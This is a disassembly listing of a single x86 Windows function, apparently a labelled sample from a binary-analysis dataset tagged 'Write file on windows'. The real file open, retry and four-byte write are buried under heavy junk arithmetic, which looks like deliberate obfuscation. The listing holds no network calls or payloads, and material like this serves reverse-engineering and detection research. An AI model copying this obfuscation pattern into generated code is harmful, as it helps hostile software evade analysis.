Function at 0x403970
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 2
imul ecx, eax, 0x246b
movsx edx, word [ecx + 0x48fba0]
sub edx, 0x3de46d3a
mov eax, 2
imul ecx, eax, 0x246b
mov word [ecx + 0x48fba0], dx
mov edx, 4
imul eax, edx, 0x67
mov ecx, dword [eax + 0x495f00]
xor ecx, 0xff1e3765
mov edx, 4
imul eax, edx, 0x67
mov dword [eax + 0x495f00], ecx
cmp dword [0x4a2734], 0
jne 0x403ab2
mov ecx, 4
imul edx, ecx, 0x1517
mov eax, dword [edx + 0x495f00]
sar eax, 2
and eax, 0x2634330c
mov ecx, 4
imul edx, ecx, 0x12cc
and eax, dword [edx + 0x495f00]
cmp eax, 0xd0a5f03d
jle 0x403a5a
mov eax, 4
imul ecx, eax, 0x1855
mov edx, dword [ecx + 0x495f00]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, 4
imul ecx, eax, 0x1855
mov edx, dword [ebp - 8]
mov dword [ecx + 0x495f00], edx
cmp dword [ebp - 8], 0xc122bf9b
jge 0x403a58
mov eax, 2
imul ecx, eax, 0x78
movsx edx, word [ecx + 0x48fba0]
xor edx, 0x13782dcc
mov eax, 2
imul ecx, eax, 0x78
mov word [ecx + 0x48fba0], dx
jmp 0x403a82
mov edx, 4
imul eax, edx, 0x1e3
mov ecx, dword [eax + 0x495f00]
xor ecx, 0xfdbee682
mov edx, 4
imul eax, edx, 0x1e3
mov dword [eax + 0x495f00], ecx
call fcn.0044ecb0
mov dword [0x4a2734], eax
mov ecx, 4
imul edx, ecx, 0xed9
imul eax, dword [edx + 0x495f00], 0x9e129886
mov ecx, 4
imul edx, ecx, 0xed9
mov dword [edx + 0x495f00], eax
mov eax, 4
imul ecx, eax, 0x2b40
mov edx, 2
imul eax, edx, 0x11f5
movsx edx, word [eax + 0x48fba0]
and edx, 0x16cb6a00
and edx, 0xaa034d29
mov eax, dword [ecx + 0x495f00]
or eax, edx
mov ecx, 4
imul edx, ecx, 0x2b40
mov dword [edx + 0x495f00], eax
mov eax, 2
imul ecx, eax, 0x11f5
mov dx, word [ecx + 0x48fba0]
add dx, 1
mov eax, 2
imul ecx, eax, 0x11f5
mov word [ecx + 0x48fba0], dx
push 3
push 0x9e0
call fcn.004456b0
add esp, 8
mov dword [ebp - 0xc], eax
mov edx, 4
imul eax, edx, 0x2b4e
mov ecx, dword [eax + 0x495f00]
and ecx, 0x794ca5b6
mov dword [ebp - 0x14], ecx
mov edx, 4
imul eax, edx, 0x2b4e
mov ecx, dword [eax + 0x495f00]
sub ecx, 1
mov edx, 4
imul eax, edx, 0x2b4e
mov dword [eax + 0x495f00], ecx
cmp dword [ebp - 0x14], 0x53c91e4c
je 0x403bd7
mov ecx, 4
imul edx, ecx, 0x1146
mov eax, dword [edx + 0x495f00]
not eax
add eax, 0x46ea1703
cmp eax, 0x12fe99ee
je 0x403bd7
mov ecx, 4
imul edx, ecx, 0x2af5
mov eax, 4
imul ecx, eax, 0x2ee5
mov eax, dword [ecx + 0x495f00]
sar eax, 5
sub eax, 0x957b183
and eax, 0xd34d4c43
mov ecx, dword [edx + 0x495f00]
xor ecx, eax
mov edx, 4
imul eax, edx, 0x2af5
mov dword [eax + 0x495f00], ecx
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004661a1
add esp, 8
mov dword [ebp - 4], eax
mov eax, 4
imul ecx, eax, 0x1c84
mov edx, 2
imul eax, edx, 0x45c
movsx edx, word [eax + 0x48fba0]
not edx
sub edx, 0x77b9adce
mov eax, dword [ecx + 0x495f00]
imul eax, edx
mov ecx, 4
imul edx, ecx, 0x1c84
mov dword [edx + 0x495f00], eax
mov eax, dword [ebp - 0xc]
push eax
push 3
call fcn.00405010
add esp, 8
mov ecx, 4
imul edx, ecx, 0x2d14
mov dword [edx + 0x495f00], 0x3b6d6a20
cmp dword [ebp - 4], 0
jne 0x403e67
mov eax, 2
imul ecx, eax, 0x11ce
movsx edx, word [ecx + 0x48fba0]
mov dword [ebp - 0x18], edx
mov eax, 2
imul ecx, eax, 0x11ce
mov dx, word [ecx + 0x48fba0]
add dx, 1
mov eax, 2
imul ecx, eax, 0x11ce
mov word [ecx + 0x48fba0], dx
cmp dword [ebp - 0x18], 0xf6f695e0
je 0x403cc6
mov edx, 4
imul eax, edx, 0x1131
mov ecx, dword [eax + 0x495f00]
add ecx, 0x181009
mov edx, 4
imul eax, edx, 0x1131
mov dword [eax + 0x495f00], ecx
jmp 0x403d44
mov ecx, 4
imul edx, ecx, 0x1861
mov eax, dword [edx + 0x495f00]
and eax, 0x6d530ce1
xor eax, 0x12e5b56b
mov ecx, 4
imul edx, ecx, 0x1ad3
cmp eax, dword [edx + 0x495f00]
jg 0x403d44
mov eax, 4
imul ecx, eax, 0x72c
mov edx, 4
imul eax, edx, 7
mov ecx, dword [ecx + 0x495f00]
imul ecx, dword [eax + 0x495f00]
mov edx, 4
imul eax, edx, 0x72c
mov dword [eax + 0x495f00], ecx
mov ecx, 4
imul edx, ecx, 7
mov eax, dword [edx + 0x495f00]
add eax, 1
mov ecx, 4
imul edx, ecx, 7
mov dword [edx + 0x495f00], eax
push 0x3e8
call dword [0x48fb14]
mov eax, 4
imul ecx, eax, 0x2f19
mov edx, dword [ecx + 0x495f00]
or edx, 0x22c8f94b
mov eax, 4
imul ecx, eax, 0x2f19
mov dword [ecx + 0x495f00], edx
push 3
push 0x9e0
call fcn.004456b0
add esp, 8
mov dword [ebp - 0x10], eax
mov edx, 4
imul eax, edx, 0x86
mov dword [eax + 0x495f00], 0xee9ecd09
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004661a1
add esp, 8
mov dword [ebp - 4], eax
mov eax, 4
imul ecx, eax, 0x623
mov edx, dword [ecx + 0x495f00]
not edx
imul eax, edx, 0xfaf8116e
add eax, 0x4d8f39ff
cmp eax, 0x95bca989
jne 0x403e31
mov ecx, 4
imul edx, ecx, 0xe0a
imul eax, dword [edx + 0x495f00], 0x463b137f
mov ecx, 0x1e891ddb
sub ecx, eax
mov edx, 4
imul eax, edx, 0x1ab1
mov edx, dword [eax + 0x495f00]
add edx, 0x7b3a53d2
cmp ecx, edx
je 0x403e31
mov eax, 2
imul ecx, eax, 5
movsx edx, word [ecx + 0x48fba0]
add edx, 0x8000004
mov eax, 2
imul ecx, eax, 5
mov word [ecx + 0x48fba0], dx
mov edx, dword [ebp - 0x10]
push edx
push 3
call fcn.00405010
add esp, 8
mov eax, 4
imul ecx, eax, 0x1aef
mov edx, dword [ecx + 0x495f00]
sub edx, 0x471c31d5
mov eax, 4
imul ecx, eax, 0x1aef
mov dword [ecx + 0x495f00], edx
mov edx, 4
imul eax, edx, 0x1508
mov ecx, 4
imul edx, ecx, 0xa60
mov ecx, dword [edx + 0x495f00]
or ecx, 0x61d08811
mov edx, dword [eax + 0x495f00]
and edx, ecx
mov eax, 4
imul ecx, eax, 0x1508
mov dword [ecx + 0x495f00], edx
cmp dword [ebp - 4], 0
je 0x404048
mov edx, 4
imul eax, edx, 0x86d
mov ecx, dword [eax + 0x495f00]
add ecx, 0xf49a9d8
mov edx, 4
imul eax, edx, 0x86d
mov dword [eax + 0x495f00], ecx
mov ecx, dword [ebp - 4]
push ecx
push 1
push 4
push 0x4a2734
call fcn.00466354
add esp, 0x10
mov edx, 4
imul eax, edx, 0x469
mov ecx, dword [eax + 0x495f00]
shl ecx, 5
xor ecx, 0xdba391e5
cmp ecx, 0xacf23aa8
jle 0x403f70
mov edx, 2
imul eax, edx, 0x201
mov ecx, 2
imul edx, ecx, 0x5e1
movsx ecx, word [edx + 0x48fba0]
movsx edx, word [eax + 0x48fba0]
sub edx, ecx
mov eax, 2
imul ecx, eax, 0x201
mov word [ecx + 0x48fba0], dx
mov edx, 2
imul eax, edx, 0x5e1
mov cx, word [eax + 0x48fba0]
add cx, 1
mov edx, 2
imul eax, edx, 0x5e1
mov word [eax + 0x48fba0], cx
jmp 0x404012
mov ecx, 4
imul edx, ecx, 0xc18
mov eax, dword [edx + 0x495f00]
and eax, 0x4204e781
mov dword [ebp - 0x1c], eax
mov ecx, 4
imul edx, ecx, 0x1439
mov eax, dword [edx + 0x495f00]
xor eax, 0x13e2a217
or eax, 0x5ff96791
mov dword [ebp - 0x20], eax
mov ecx, 4
imul edx, ecx, 0x1439
mov eax, dword [edx + 0x495f00]
sub eax, 1
mov ecx, 4
imul edx, ecx, 0x1439
mov dword [edx + 0x495f00], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x20]
je 0x403ffd
mov ecx, 4
imul edx, ecx, 0x1f2b
mov eax, dword [edx + 0x495f00]
and eax, 0xed8d0413
mov ecx, 4
imul edx, ecx, 0x1f2b
mov dword [edx + 0x495f00], eax
jmp 0x404012
mov eax, 4
imul ecx, eax, 0x908
mov dword [ecx + 0x495f00], 0x97b5ccb8
mov edx, dword [ebp - 4]
push edx
call fcn.00465e76
add esp, 4
mov eax, 2
imul ecx, eax, 0x2c82
movsx edx, word [ecx + 0x48fba0]
imul eax, edx, 0x872f2ef2
mov ecx, 2
imul edx, ecx, 0x2c82
mov word [edx + 0x48fba0], ax
mov eax, 4
imul ecx, eax, 0xe3d
mov edx, dword [ecx + 0x495f00]
or edx, 0x37b8e13c
mov eax, 4
imul ecx, eax, 0xe3d
mov dword [ecx + 0x495f00], edx
mov esp, ebp
pop ebp
ret